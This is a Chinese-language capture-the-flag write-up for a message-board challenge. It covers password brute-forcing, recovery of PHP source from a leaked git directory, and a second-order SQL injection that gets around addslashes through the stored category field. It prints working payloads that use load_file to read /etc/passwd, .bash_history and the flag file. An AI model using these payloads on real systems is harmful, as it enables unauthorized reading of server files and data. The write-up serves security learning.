一个留言板
扫描目录,发现存在login.php界面。访问
给了我们一个并不完整的登录信息
爆破得到后三位密码666
登录成功后发现返回之前的首页
根据题目描述,存在sql注入
扫描目录
发现存在git源码泄露
扒取源码发现write_do.php文件
没有什么信息
检查页面元素时发现我们得到的码是不完整的,需要修复
修复完的源码如下:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
比较重要的一个点是addslashes()函数的使用
参考绕过addslashes
后台对输入的参数通过addslashes()对预定义字符进行转义,加上
预定义的字符包括单引号,双引号,反斜杠,NULL
放到数据库后会把转义符 \ 去掉(进入数据库后是没有反斜杠的),并存入数据库中
在这个php中
write的时候所有参数进行了转义才放到sql语句中
但是在comment中,对于category的值从数据库取出来没有进行转义,直接拼接到sql insert语句中
这就是注入位置了
于是思路清晰了:
通过发帖,在category中放入payload,存入数据库中
这一过程payload因为对单引号等作了转义,不会被触发
在发帖成功后,在留言comment,调用insert语句时因为没有对数据库取出的category进行转义,直接拼接触发payload
1',content=database(),/*
点击详情
提交留言
我们可以看到已经返回给了我们数据库名
注入成功
再次同样的操作查看用户
1',content=user(),/*
可以看到我们是root权限,可以直接load_file了
先读取系统用户和用户的路径/etc/passwd
1',content=(select(load_file("/etc/passwd"))),/*
我们也不知道到底要看什么文件
那就看看他的操作历史:.bash_history文件:保存了当前用户使用过的历史命令
有一个没见过的文件
隐藏文件?
那就是他了
我们采用16进制的方法读取
1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
Hex解码
发现所有的html目录下的文件名都出来了
flag_8946e1ff1ee3e40f.phpllocblob是flag的文件名
1',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
解码
???!!!!
人傻了
仔细看看才发现html被复制了一份
1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
解码得到真正的flag